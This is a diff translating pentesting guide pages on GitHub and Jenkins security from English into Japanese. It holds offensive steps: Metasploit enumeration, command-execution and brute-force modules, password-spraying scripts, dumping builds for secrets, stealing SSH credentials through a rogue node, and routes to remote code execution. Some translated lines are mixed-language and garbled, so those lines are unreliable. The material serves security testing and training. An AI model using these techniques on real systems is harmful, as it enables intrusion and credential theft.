公開またはプライベートサイトを公開できるかどうか。 +- 管理者がリポジトリに対して持つ権限。 +- メンバーが新しいチームを作成できるかどうか。 -### Repository Roles +### リポジトリの役割 -By default repository roles are created: +デフォルトでは、リポジトリの役割が作成されます： -- **Read**: Recommended for **non-code contributors** who want to view or discuss your project -- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access -- **Write**: Recommended for contributors who **actively push to your project** -- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions -- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository +- **読み取り**: **コードに貢献しない**人々がプロジェクトを表示または議論するために推奨されます。 +- **トリアージ**: **問題やプルリクエストを積極的に管理する必要がある貢献者**に推奨されますが、書き込みアクセスはありません。 +- **書き込み**: プロジェクトに**積極的にプッシュする**貢献者に推奨されます。 +- **メンテナンス**: **リポジトリを管理する必要があるプロジェクトマネージャー**に推奨されますが、機密または破壊的なアクションへのアクセスはありません。 +- **管理者**: **プロジェクトに完全にアクセスする必要がある**人々に推奨されます。これには、セキュリティの管理やリポジトリの削除などの機密かつ破壊的なアクションが含まれます。 -You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +各役割の**権限を比較する**ことができる表があります: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_ +また、_https://github.com/organizations/\/settings/roles_ で**独自の役割を作成する**こともできます。 -### Teams +### チーム -You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team. +_https://github.com/orgs/\/teams_ で、**組織内に作成されたチームのリストを表示する**ことができます。他のチームの子チームを見るには、各親チームにアクセスする必要があります。 -### Users +### ユーザー -The users of an organization can be **listed** in _https://github.com/orgs/\/people._ +組織のユーザーは、_https://github.com/orgs/\/people_ で**リスト表示**できます。 -In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. +各ユーザーの情報では、**ユーザーが所属するチーム**や、**ユーザーがアクセスできるリポジトリ**を見ることができます。 -## Github Authentication +## Github認証 -Github offers different ways to authenticate to your account and perform actions on your behalf. +Githubは、アカウントに認証し、あなたの代わりにアクションを実行するためのさまざまな方法を提供しています。 -### Web Access +### ウェブアクセス -Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**). +**github.com**にアクセスすると、**ユーザー名とパスワード**（および**2FAの可能性**）を使用してログインできます。 -### **SSH Keys** +### **SSHキー** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys) +関連する**プライベートキーがあなたの代わりにアクションを実行できるように、1つまたは複数の公開鍵でアカウントを構成できます。** [https://github.com/settings/keys](https://github.com/settings/keys) -#### **GPG Keys** +#### **GPGキー** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +これらのキーでユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。 [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) で詳細を学んでください。 -### **Personal Access Tokens** +### **個人アクセストークン** -You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens) +アプリケーションに**アカウントへのアクセスを与える**ために、個人アクセストークンを生成できます。個人アクセストークンを作成する際、**ユーザー**は**トークン**が持つ**権限**を**指定する**必要があります。 [https://github.com/settings/tokens](https://github.com/settings/tokens) -### Oauth Applications +### Oauthアプリケーション -Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms. +Oauthアプリケーションは、**あなたのGithub情報の一部にアクセスするための権限を要求したり、あなたを偽装していくつかのアクションを実行したりする**ことがあります。この機能の一般的な例は、いくつかのプラットフォームで見られる**Githubでログインボタン**です。 -- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) -- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications) -- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_ +- 自分の**Oauthアプリケーション**を[https://github.com/settings/developers](https://github.com/settings/developers)で**作成**できます。 +- あなたのアカウントにアクセスできるすべての**Oauthアプリケーション**を[https://github.com/settings/applications](https://github.com/settings/applications)で見ることができます。 +- Oauthアプリが要求できる**スコープ**を[https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)で見ることができます。 +- 組織内のアプリケーションの**サードパーティアクセス**を_https://github.com/organizations/\/settings/oauth_application_policy_ で見ることができます。 -Some **security recommendations**: +いくつかの**セキュリティ推奨事項**： -- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. -- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. -- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. -- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- **OAuthアプリ**は常に**GitHub全体で認証されたGitHubユーザーとして行動する**べきです（たとえば、ユーザー通知を提供する場合）し、指定されたスコープのみにアクセスします。 +- OAuthアプリは、認証されたユーザーのために「GitHubでログイン」を有効にすることで、アイデンティティプロバイダーとして使用できます。 +- **単一のリポジトリ**でアクションを実行するアプリケーションを作成しないでください。`repo` OAuthスコープを使用すると、OAuthアプリは**認証されたユーザーのすべてのリポジトリに対してアクションを実行できます**。 +- **チームや会社**のアプリケーションとして機能するためにOAuthアプリを作成しないでください。OAuthアプリは**単一のユーザー**として認証されるため、1人が会社用にOAuthアプリを作成し、その後会社を離れると、他の誰もそれにアクセスできなくなります。 +- **詳細は**[こちら](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)で。 -### Github Applications +### Githubアプリケーション -Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to. +Githubアプリケーションは、**あなたのGithub情報にアクセスしたり、あなたを偽装して特定のリソースに対して特定のアクションを実行したりするための権限を要求する**ことがあります。Githubアプリでは、アプリがアクセスできるリポジトリを指定する必要があります。 -- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository. -- The GitHub App should **connect to a personal account or an organisation**. -- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps) -- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them -- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_ +- GitHubアプリをインストールするには、**組織のオーナーまたはリポジトリの管理者権限**を持っている必要があります。 +- GitHubアプリは**個人アカウントまたは組織に接続する**必要があります。 +- 自分のGithubアプリケーションを[https://github.com/settings/apps](https://github.com/settings/apps)で作成できます。 +- あなたのアカウントにアクセスできるすべての**Githubアプリケーション**を[https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)で見ることができます。 +- これらは**GithubアプリケーションのAPIエンドポイント**です: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。アプリの権限に応じて、いくつかのエンドポイントにアクセスできるようになります。 +- 組織内のインストールされたアプリを_https://github.com/organizations/\/settings/installations_ で見ることができます。 -Some security recommendations: +いくつかのセキュリティ推奨事項： -- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Make sure the GitHub App integrates with **specific repositories**. -- The GitHub App should **connect to a personal account or an organisation**. -- Don't expect the GitHub App to know and do everything a user can. -- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. -- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. -- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- GitHubアプリは**ユーザーとは独立してアクションを実行する**べきです（アプリが[ユーザーからサーバーへの](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)トークンを使用している場合を除く）。ユーザーからサーバーへのアクセスをより安全に保つために、8時間後に期限切れになるアクセストークンと、新しいアクセストークンと交換できるリフレッシュトークンを使用できます。詳細については、「[ユーザーからサーバーへのアクセストークンのリフレッシュ](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)」を参照してください。 +- GitHubアプリが**特定のリポジトリ**と統合されていることを確認してください。 +- GitHubアプリは**個人アカウントまたは組織に接続する**必要があります。 +- GitHubアプリがユーザーができるすべてのことを知って行うことを期待しないでください。 +- **「GitHubでログイン」サービスが必要なだけの場合は、GitHubアプリを使用しないでください**。ただし、GitHubアプリは、ユーザーをログインさせるために[user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)を使用して、ユーザーをログインさせることができます_そして_他のことを行うことができます。 +- GitHubユーザーとしてのみ機能し、そのユーザーができるすべてのことを行いたい場合は、GitHubアプリを作成しないでください。 +- GitHub Actionsを使用してアプリを使用し、ワークフローファイルを変更したい場合は、`workflow`スコープを含むOAuthトークンを使用してユーザーの代わりに認証する必要があります。ユーザーは、ワークフローファイルを含むリポジトリに対して管理者または書き込み権限を持っている必要があります。詳細については、「[OAuthアプリのスコープの理解](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)」を参照してください。 +- **詳細は**[こちら](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)で。 ### Github Actions -This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information. +これは**Githubで認証する方法**ではありませんが、**悪意のある**Github Actionが**Githubに不正アクセスする**可能性があり、**与えられた権限**に応じて、いくつかの**異なる攻撃**が行われる可能性があります。詳細については以下を参照してください。 -## Git Actions +## Gitアクション -Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets). +Gitアクションは、**イベントが発生したときにコードの実行を自動化する**ことを可能にします。通常、実行されるコードは**リポジトリのコードに関連している**（たとえば、Dockerコンテナをビルドするか、PRに秘密が含まれていないかを確認するなど）。 -### Configuration +### 設定 -In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization. +_https://github.com/organizations/\/settings/actions_ で、組織の**Githubアクションの設定**を確認できます。 -It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions. +Githubアクションの使用を完全に禁止することも、**すべてのGithubアクションを許可する**ことも、特定のアクションのみを許可することも可能です。 -It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run. +また、**Github Actionを実行するために承認が必要な人**や、Github Actionが実行されるときの**GITHUB_TOKENの権限**を設定することもできます。 ### Git Secrets -Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**. - -These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like: +Github Actionは通常、Githubやサードパーティアプリケーションと対話するために何らかの秘密を必要とします。リポジトリに**平文で置かないようにするために**、Githubはそれらを**Secrets**として配置することを許可しています。 +これらの秘密は、**リポジトリまたは組織全体のために設定**できます。その後、**Actionが秘密にアクセスできるようにするためには**、次のように宣言する必要があります： ```yaml steps: - - name: Hello world action - with: # Set the secret as an input - super_secret:${{ secrets.SuperSecret }} - env: # Or as an environment variable - super_secret:${{ secrets.SuperSecret }} +- name: Hello world action +with: # Set the secret as an input +super_secret:${{ secrets.SuperSecret }} +env: # Or as an environment variable +super_secret:${{ secrets.SuperSecret }} ``` - -#### Example using Bash - +#### Bashを使用した例 ```yaml steps: - - shell: bash - env: SUPER_SECRET:${{ secrets.SuperSecret }} - run: | - example-command "$SUPER_SECRET" +- shell: bash +env: SUPER_SECRET:${{ secrets.SuperSecret }} +run: | +example-command "$SUPER_SECRET" ``` - > [!WARNING] -> Secrets **can only be accessed from the Github Actions** that have them declared. +> Secrets **は、それらが宣言されている Github Actions からのみアクセス可能です**。 -> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**. +> リポジトリまたは組織に設定されると、**github のユーザーは再度アクセスできなくなります**。彼らはただ **変更することができます**。 -Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action). +したがって、**github secrets を盗む唯一の方法は、Github Action を実行しているマシンにアクセスできることです**（そのシナリオでは、Action のために宣言された秘密にのみアクセスできます）。 ### Git Environments -Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: - +Github は **環境** を作成することを許可しており、そこで **secrets** を保存できます。次に、環境内の秘密に対するアクセスを github action に与えることができます。 ```yaml jobs: - deployment: - runs-on: ubuntu-latest - environment: env_name +deployment: +runs-on: ubuntu-latest +environment: env_name ``` - -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +You can configure an environment to be **アクセス** by **すべてのブランチ** (default), **保護された** branches only or **指定** which branches can access it.\ +It can also set a **必要なレビューの数** before **アクションを実行** using an **環境** or **待機** some **時間** before allowing deployments to proceed. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +A Github Action can be **実行される inside the github environment** or can be executed in a **サードパーティのインフラ** configured by the user. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +Several organizations will allow to run Github Actions in a **サードパーティのインフラ** as it use to be **安価**. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +You can **リスト the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +It's **異なる組織の self hosted box** inside a **Github Action of an organization** because **Runnerのために一意のトークンが生成される** when configuring it to know where the runner belongs. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **メタデータエンドポイントにアクセスできる** and **サービスアカウントのトークンを盗む** the machine is running with. ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +If all actions (or a malicious action) are allowed a user could use a **Github action** that is **悪意のある** and will **侵害する** the **コンテナ** where it's being executed. > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> A **悪意のあるGithub Action** run could be **悪用される** by the attacker to: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **すべてのシークレットを盗む** the Action has access to +> - **横移動する** if the Action is executed inside a **サードパーティのインフラ** where the SA token used to run the machine can be accessed (probably via the metadata service) +> - **トークンを悪用する** used by the **ワークフロー** to **リポジトリのコードを盗む** where the Action is executed or **さらには変更する**. ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Branch protections are designed to **リポジトリの完全な制御をユーザーに与えない**. The goal is to **いくつかの保護方法を設ける** before being able to write code inside some branch. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +The **リポジトリのブランチ保護** can be found in _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> It's **組織レベルでブランチ保護を設定することはできない**. So all of them must be declared on each repo. Different protections can be applied to a branch (like to master): -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: - - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. - - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. - - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) - - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. - - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- You can **マージ前にPRを要求する** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: +- **承認の数を要求する**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. +- **新しいコミットがプッシュされたときに承認を無効にする**. If not, a user may approve legit code and then the user could add malicious code and merge it. +- **コードオーナーからのレビューを要求する**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) +- **プルリクエストレビューを無効にできる人を制限する**. You can specify people or teams allowed to dismiss pull request reviews. +- **指定されたアクターがプルリクエスト要件をバイパスできるようにする**. These users will be able to bypass previous restrictions. +- **マージ前にステータスチェックが通過することを要求する**. Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). +- **マージ前に会話の解決を要求する**. All comments on the code needs to be resolved before the PR can be merged. +- **署名されたコミットを要求する**. The commits need to be signed. +- **線形履歴を要求する**. Prevent merge commits from being pushed to matching branches. +- **管理者を含める**. If this isn't set, admins can bypass the restrictions. +- **一致するブランチにプッシュできる人を制限する**. Restrict who can send a PR. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> As you can see, even if you managed to obtain some credentials of a user, **リポジトリは保護されているため、例えばmasterにコードをプッシュすることを避けることができる**. ## References @@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master): - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 4dfba3ff3..f0cdc7a56 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -2,311 +2,291 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually. +Jenkinsは、パイプラインを使用して、ほぼ**すべての**プログラミング言語とソースコードリポジトリの**継続的インテグレーション**または**継続的デリバリー**（CI/CD）環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkinsは**個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが**、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。 {{#ref}} basic-jenkins-information.md {{#endref}} -## Unauthenticated Enumeration - -In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: +## 認証されていない列挙 +興味深いJenkinsページを認証なしで検索するために（_ /people_や_ /asynchPeople_のように、これにより現在のユーザーがリストされます）、次のように使用できます： ``` msf> use auxiliary/scanner/http/jenkins_enum ``` - -Check if you can execute commands without needing authentication: - +認証なしでコマンドを実行できるか確認してください： ``` msf> use auxiliary/scanner/http/jenkins_command ``` +認証情報がない場合、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ で **ユーザー名** を確認できます。 -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. - -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ +_**/oops**_ または _**/error**_ パスから Jenkins バージョンを取得できるかもしれません。 ![](<../../images/image (146).png>) -### Known Vulnerabilities +### 既知の脆弱性 {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} -## Login +## ログイン -In the basic information you can check **all the ways to login inside Jenkins**: +基本情報では、**Jenkins 内にログインするためのすべての方法**を確認できます： {{#ref}} basic-jenkins-information.md {{#endref}} -### Register +### 登録 -You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** +アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。とても簡単です。 -### **SSO Login** +### **SSO ログイン** -Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +また、**SSO** **機能**/**プラグイン** が存在する場合は、テストアカウント（例：テスト **Github/Bitbucket アカウント**）を使用してアプリケーションに**ログイン**を試みるべきです。[**こちら**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)のトリックを参照してください。 -### Bruteforce - -**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. +### ブルートフォース +**Jenkins** は **パスワードポリシー** と **ユーザー名のブルートフォース緩和** が欠けています。**弱いパスワード** や **ユーザー名をパスワードとして使用する** 可能性があるため、ユーザーを **ブルートフォース** することが重要です。さらに、**逆のユーザー名をパスワードとして使用する** ケースもあります。 ``` msf> use auxiliary/scanner/http/jenkins_login ``` +### パスワードスプレー -### Password spraying +[このPythonスクリプト](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py)または[このPowerShellスクリプト](https://github.com/chryzsh/JenkinsPasswordSpray)を使用してください。 -Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). +### IPホワイトリストバイパス -### IP Whitelisting Bypass +多くの組織は、GitHubやGitLabのような**SaaSベースのソース管理（SCM）システム**を、JenkinsやTeamCityのような**内部の自己ホスト型CI**ソリューションと組み合わせています。このセットアップにより、CIシステムは主にパイプラインジョブをトリガーするために、**SaaSソース管理ベンダー**から**ウェブフックイベント**を受信できます。 -Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs. +これを実現するために、組織は**SCMプラットフォーム**の**IP範囲**を**ホワイトリスト**に登録し、**ウェブフック**を介して**内部CIシステム**にアクセスできるようにします。しかし、**誰でも**GitHubやGitLabに**アカウント**を作成し、**ウェブフックをトリガー**するように設定できるため、**内部CIシステム**にリクエストを送信する可能性があります。 -To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**. +確認してください: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) -Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +## 内部Jenkinsの悪用 -## Internal Jenkins Abuses - -In these scenarios we are going to suppose you have a valid account to access Jenkins. +これらのシナリオでは、Jenkinsにアクセスするための有効なアカウントを持っていると仮定します。 > [!WARNING] -> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.** +> Jenkinsに設定された**認証**メカニズムと侵害されたユーザーの権限によっては、以下の攻撃を**実行できる場合とできない場合があります。** -For more information check the basic information: +詳細については、基本情報を確認してください: {{#ref}} basic-jenkins-information.md {{#endref}} -### Listing users +### ユーザーのリスト表示 -If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) +Jenkinsにアクセスした場合、[http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)で他の登録ユーザーをリスト表示できます。 -### Dumping builds to find cleartext secrets - -Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. +### プレーンテキストの秘密を見つけるためのビルドダンプ +[このスクリプト](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py)を使用して、ビルドコンソール出力とビルド環境変数をダンプし、プレーンテキストの秘密を見つけることを期待します。 ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` +### **SSH資格情報の盗難** -### **Stealing SSH Credentials** - -If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key: +もし侵害されたユーザーが**新しいJenkinsノードを作成/変更するのに十分な権限を持っている**場合、SSH資格情報が他のノードにアクセスするためにすでに保存されていると、彼は**ノードを作成/変更し、資格情報を記録するホストを設定することによってそれらの資格情報を盗む**ことができます。ホストキーを検証せずに: ![](<../../images/image (218).png>) -You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets). +通常、JenkinsのSSH資格情報は**グローバルプロバイダー**（`/credentials/`）に見つかるので、他の秘密をダンプするのと同様にそれらをダンプすることもできます。詳細は[**秘密のダンプセクション**](./#dumping-secrets)を参照してください。 -### **RCE in Jenkins** +### **JenkinsにおけるRCE** -Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**. +**Jenkinsサーバーでシェルを取得する**ことは、攻撃者にすべての**秘密**や**環境変数**を漏洩させ、同じネットワーク内にある他のマシンを**悪用する**機会を与え、さらには**クラウド資格情報を収集する**ことができます。 -By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**. +デフォルトでは、Jenkinsは**SYSTEMとして実行されます**。したがって、これを侵害することで攻撃者は**SYSTEM権限**を得ることになります。 -### **RCE Creating/Modifying a project** +### **プロジェクトの作成/変更によるRCE** -Creating/Modifying a project is a way to obtain RCE over the Jenkins server: +プロジェクトを作成/変更することは、Jenkinsサーバー上でRCEを取得する方法です: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} -### **RCE Execute Groovy script** +### **Groovyスクリプトの実行によるRCE** -You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project: +新しいプロジェクトを作成するよりも、Groovyスクリプトを実行することでRCEを取得することもできます。これはよりステルス性が高いかもしれません: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} -### RCE Creating/Modifying Pipeline +### パイプラインの作成/変更によるRCE -You can also get **RCE by creating/modifying a pipeline**: +**パイプラインを作成/変更することによってRCEを取得する**こともできます: 